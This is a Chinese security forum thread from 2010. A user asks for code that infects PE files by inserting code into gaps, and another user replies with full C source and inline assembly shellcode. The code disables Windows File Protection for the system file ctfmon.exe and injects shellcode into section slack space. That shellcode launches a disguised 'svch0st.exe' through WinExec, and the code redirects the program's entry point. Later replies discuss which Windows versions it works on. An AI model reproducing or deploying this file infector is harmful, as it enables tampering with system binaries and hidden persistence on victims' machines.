首页
社区
课程
招聘
那位大牛发一个PE插缝感染的C/C++代码.学习下
发表于: 2010-10-12 15:07 6457

那位大牛发一个PE插缝感染的C/C++代码.学习下

2010-10-12 15:07
6457
最近在学习PE感染技术.那位大牛发一个PE插缝感染的C/C++代码.学习下.雪地祼体跪谢

[课程]Linux pwn 探索篇!

收藏
免费 0
支持
分享
最新回复 (6)
雪    币: 221
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
记得在老罗的32位汇编中看到过,改成c的不就行了
2010-10-12 15:41
0
雪    币: 125
活跃值: (161)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
3


#include <stdio.h>
#include<windows.h>
#include<TCHAR.h>
#include <shlwapi.h>


typedef DWORD WINAPI SfcFileException(DWORD dwUnknown0, PWCHAR pwszFile, DWORD dwUnknown1);

void KillSFC()
{
    WCHAR drvpath[MAX_PATH]={0};
    
    GetSystemDirectoryW(drvpath,sizeof(drvpath));
    wcscat(drvpath,L"\\ctfmon.exe");
    HMODULE hModule = LoadLibraryA("SFC.DLL");
    SfcFileException *SfcFileExc = (SfcFileException (__stdcall *))GetProcAddress(hModule,(LPCSTR)5);
    SfcFileExc(0,drvpath,-1);
	FreeLibrary(hModule);
    return;
}



int InjectPE()
{
	IMAGE_NT_HEADERS ntHeader;
	IMAGE_SECTION_HEADER SecInject;
	FILE* pFile;
	char systemPath[MAX_PATH];
	GetSystemDirectoryA(systemPath,sizeof(systemPath));
	char szFileName[MAX_PATH] = "\\ctfmon.exe";
	strcat(systemPath,szFileName);
	strcpy(szFileName,systemPath);
	
	KillSFC();
	

	if((pFile=fopen(szFileName,"rb+"))==NULL)//打开文件失败则退出
	{
		printf("打开文件失败\n");
		return 0;
	}
  
  fseek(pFile,0x3c,0);
  DWORD pNT;
  fread(&pNT,sizeof(DWORD),1,pFile);
  fseek(pFile,pNT,SEEK_SET);
  fread(&ntHeader,sizeof(IMAGE_NT_HEADERS),1,pFile); //读取NT头
  
  
  //保存旧入口地址
  int sectionNum = ntHeader.FileHeader.NumberOfSections;
  int OldEntryPoint = ntHeader.OptionalHeader.AddressOfEntryPoint;
  
  goto shellend;
__asm
{
		shell:	PUSHAD
		MOV	EAX,DWORD PTR FS:[30H]	;FS:[30H]指向PEB
		MOV	EAX,DWORD PTR [EAX+0CH]	;获取PEB_LDR_DATA结构的指针
		MOV	EAX,DWORD PTR [EAX+1CH] ;获取LDR_MODULE链表表首结点的inInitializeOrderModuleList成员的指针
		MOV	EAX,DWORD PTR [EAX]	;LDR_MODULE链表第二个结点的inInitializeOrderModuleList成员的指针
		MOV	EAX,DWORD PTR [EAX+08H]	;inInitializeOrderModuleList偏移8h便得到Kernel32.dll的模块基址
		MOV	EBP,EAX		;	将Kernel32.dll模块基址地址放至kernel中
		MOV	EAX,DWORD PTR [EAX+3CH]	;指向IMAGE_NT_HEADERS
		MOV	EAX,DWORD PTR [EBP+EAX+120]	;指向导出表
		MOV	ECX,[EBP+EAX+24]	;取导出表中导出函数名字的数目
		MOV	EBX,[EBP+EAX+32]  	;取导出表中名字表的地址
		ADD	EBX,EBP
		PUSH WORD  PTR 0X00			;构造GetProcAddress字符串
		PUSH DWORD PTR 0X73736572
		PUSH DWORD PTR 0X64644163
		PUSH DWORD PTR 0X6F725074
		PUSH WORD PTR 0X6547
		MOV  EDX,ESP
		PUSH ECX

		
F1:	
		MOV	EDI,EDX
		POP	ECX
		DEC	ECX
		TEST	ECX,ECX
		JZ	EXIT
		MOV	ESI,[EBX+ECX*4]		
		ADD	ESI,EBP
		PUSH	ECX
		MOV	ECX,15
		REPZ	CMPSB
		TEST	ECX,ECX
		JNZ	F1
	
		POP	ECX
		MOV	ESI,[EBP+EAX+36]	;取得导出表中序号表的地址
		ADD	ESI,EBP
		MOVZX	ESI,WORD PTR[ESI+ECX*2]		;取得进入函数地址表的序号
		MOV	EDI,[EBP+EAX+28]	;取得函数地址表的地址
		ADD	EDI,EBP
		MOV	EDI,[EDI+ESI*4]		;取得GetProcAddress函数的地址
		ADD	EDI,EBP			
		PUSH WORD PTR 0X00							
		PUSH DWORD PTR 0X636578	;构造WinExec字符串
		PUSH DWORD PTR 0X456E6957
		PUSH ESP
		PUSH	EBP			;
		CALL	EDI			;调用GetProcAddress取得WinExec函数的地址
		
		
		XOR     EBX,EBX
		PUSH    EBX
		PUSH	WORD PTR 0X00		;构造svch0st.exe符串.
		PUSH	DWORD PTR 0X455845	
		PUSH    DWORD PTR 0X2E545330
		PUSH	DWORD PTR 0X48435653
		PUSH	ESP
		CALL	EAX
EXIT:	ADD ESP,40			;平衡堆栈
		POPAD
}
	shellend:
		char *pShell;
		int nShellLen;
		
__asm
{
		LEA EAX,shell
		MOV pShell,EAX;
		LEA EBX,shellend
		SUB EBX,EAX
		MOV nShellLen,EBX
}
  
int i;



for(i=0;i<sectionNum;i++)
  {
	 fseek(pFile,pNT+248+i*40,SEEK_SET);  //定位到节表开始处 
	 fread(&SecInject,sizeof(IMAGE_SECTION_HEADER),1,pFile);
	 DWORD pInfect = SecInject.PointerToRawData + SecInject.Misc.VirtualSize+5; 
	 WORD Sign;
	 fseek(pFile,pInfect,SEEK_SET);
	 fread(&Sign,sizeof(WORD),1,pFile);
	 if(Sign == 0x1122)  //已经感染过,结束程序.
	 {
		 //MessageBoxA(NULL,"已感染过","msg",MB_OK);
		 return 0;
	 }
	 if((int)(SecInject.SizeOfRawData-SecInject.Misc.VirtualSize)>nShellLen)
		break;
  }
	
if(i>=sectionNum)
{
	printf("找不到适合插入的节");
	return 0;
}
	DWORD lpCodeRVA = SecInject.VirtualAddress + SecInject.Misc.VirtualSize;   
	DWORD lpCodeOffs = SecInject.PointerToRawData + SecInject.Misc.VirtualSize; //添加代码的文件偏移
	/*修改入口点地址并写回NT HEADER中*/
	ntHeader.OptionalHeader.AddressOfEntryPoint = lpCodeRVA;	
	fseek(pFile,pNT,SEEK_SET);
	fwrite(&ntHeader,sizeof(IMAGE_NT_HEADERS),1,pFile);

	SecInject.Characteristics = SecInject.Characteristics|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_EXECUTE; //节属性改成可读、可执行
	SecInject.Misc.VirtualSize += nShellLen; 
	fseek(pFile,pNT+248+i*40,SEEK_SET);	//文件指针移动到SecInject的首址
	fwrite(&SecInject,sizeof(IMAGE_SECTION_HEADER),1,pFile); //将修改后的节信息写回文件中

	/*写入SHELLCODE*/
  fseek(pFile,lpCodeOffs,SEEK_SET);	//定位到添加代码的文件偏移
  for(i=0;i<nShellLen;i++)
	fputc(pShell[i],pFile);
  //SHELLCODE之后是跳转到原OEP的指令
  		
  BYTE jmp = 0xE9;
  OldEntryPoint = OldEntryPoint-(lpCodeRVA+nShellLen)-5;
  fwrite(&jmp, sizeof(jmp), 1, pFile);
  fwrite(&OldEntryPoint, sizeof(OldEntryPoint), 1, pFile);
  WORD InfectSign=0x1122; // 感染标志
  fwrite(&InfectSign,sizeof(WORD),1,pFile); 
  fclose(pFile);
  //MessageBoxA(NULL,"注入成功","INFO",MB_OK);
  return 0;
}



以前写的 XP下可用。。。  ~~ 拿去参考下吧~
2010-10-12 20:26
0
雪    币: 125
活跃值: (161)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
4
额~ 发出来才发现 程序好乱 你凑合着看吧~
2010-10-12 20:30
0
雪    币: 208
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
大牛,只能在XP下用吗.2K呢?不通用??
2010-10-12 23:20
0
雪    币: 125
活跃值: (161)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
6
- - 我菜 别喊我大牛 等下被人拍砖

2K我没试过额,,主要是那段shellcode不能在win7下用。
2010-10-12 23:30
0
雪    币: 208
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
为什么我的代码在编译后.感染EXE文件.EXE文件不能正常运行.问题出在什么地方.应该怎么做.请大牛们指教.
2010-10-13 00:24
0
游客
登录 | 注册 方可回帖
返回
//